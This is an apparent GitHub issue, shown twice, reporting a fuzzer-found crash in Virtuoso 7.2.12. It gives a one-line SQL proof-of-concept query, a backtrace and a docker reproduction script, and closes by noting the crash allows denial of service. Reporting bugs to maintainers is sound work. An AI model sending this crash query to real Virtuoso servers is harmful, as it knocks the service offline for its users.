Fuzzer: Virtuoso 7.2.12 crashed at `gpf_notice`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT identity_generation FROM columns GROUP BY CUBE ( iri_to_id ( ) );
```

backtrace:
```c
#0 0xe1b419 (gpf_notice+0x209)
#1 0x8308c6 (mp_data_col+0x546)
#2 0x830ef7 (qi_vec_init+0x2e7)
#3 0x7c99a2 (qr_exec+0x262)
#4 0x7d82b6 (sf_sql_execute+0x11a6)
#5 0x7d8dbe (sf_sql_execute_w+0x17e)
#6 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#7 0xe2a11c (future_wrapper+0x3fc)
#8 0xe31a1e (_thread_boot+0x11e)
#9 0x7f4afd865609 (start_thread+0xd9)
#10 0x7f4afd635353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
while ! echo "SELECT 1;" | docker exec -i virtdb_test-dev isql 1111 dba > /dev/null 2>&1; do
    echo "Waiting the server starting..."
    sleep 1
done
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `gpf_notice`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `gpf_notice`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `gpf_notice`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT identity_generation FROM columns GROUP BY CUBE ( iri_to_id ( ) );
```

backtrace:
```c
#0 0xe1b419 (gpf_notice+0x209)
#1 0x8308c6 (mp_data_col+0x546)
#2 0x830ef7 (qi_vec_init+0x2e7)
#3 0x7c99a2 (qr_exec+0x262)
#4 0x7d82b6 (sf_sql_execute+0x11a6)
#5 0x7d8dbe (sf_sql_execute_w+0x17e)
#6 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#7 0xe2a11c (future_wrapper+0x3fc)
#8 0xe31a1e (_thread_boot+0x11e)
#9 0x7f4afd865609 (start_thread+0xd9)
#10 0x7f4afd635353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
while ! echo "SELECT 1;" | docker exec -i virtdb_test-dev isql 1111 dba > /dev/null 2>&1; do
    echo "Waiting the server starting..."
    sleep 1
done
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads occurs when executing a specific SQL query involving identity generation and grouping. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the server.